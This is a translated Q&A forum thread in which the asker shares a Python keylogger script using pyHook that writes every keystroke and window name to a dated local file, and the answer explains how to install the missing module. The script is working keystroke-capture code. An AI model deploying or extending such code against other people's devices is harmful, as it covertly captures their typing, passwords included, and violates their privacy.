2017-06-01 236 views
0

因此,在我的代码中,我安装了所有我正在使用的模块,但是我总是收到错误,说找不到模块。请帮忙谢谢。即使安装了模块,也得到“ModuleNotFoundError:No module named'pyHook'”

代码:

import pyHook, pythoncom, sys, logging , os , winsound , time 

date = "C:\\Users\\Cameron PC\\Desktop\\Essays\\files\\keyloggeroutput" 
date += time.strftime("%d.%m.%Y") + ".txt" 
x = time.ctime() 
with open(date, "a") as f: 
      f.write("\n") 
      f.write("[" + x + "] : ") 


def OnKeyboardEvent(event): 
    global x 

    if event.Key =="Return" : 
     with open(date, "a") as f: 
      f.write(" {Enter}\n") 
      f.write("[" + x +"|"+event.WindowName + "] : ") 

    elif event.Key == "Space" : 
     with open(date, "a") as f: 
      f.write(" ") 
    elif event.Key == "Back" : 
     with open(date, "a") as f: 
      f.write("{Bkspc}") 

    else : 
     with open(date, "a") as f: 
      f.write(event.Key) 


    return True 
hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

回答

0

尝试以下操作:

首先,从here下载pyhook,确保你选择了正确的版本。

其次,在下载的文件夹中打开cmd并键入pip install pyHook-1.5.1-cp27-none-win32.whl,或者如果您选择了其他版本,请键入相关版本。

+0

感谢队友,修复了pyHook的问题,但我仍然得到与Pythoncom相同的问题,当我做点东西,我得到一个长长的红色代码,它不能在python中工作。 –

+0

你可以阅读[这里](https://stackoverflow.com/questions/4145079/importerror-no-module-named-pythoncom)pythoncom的帮助。请问接受答案是否解决了你的问题。 –

+0

Tnx,请更新pythoncom lib问题是否已修复。 –

相关问题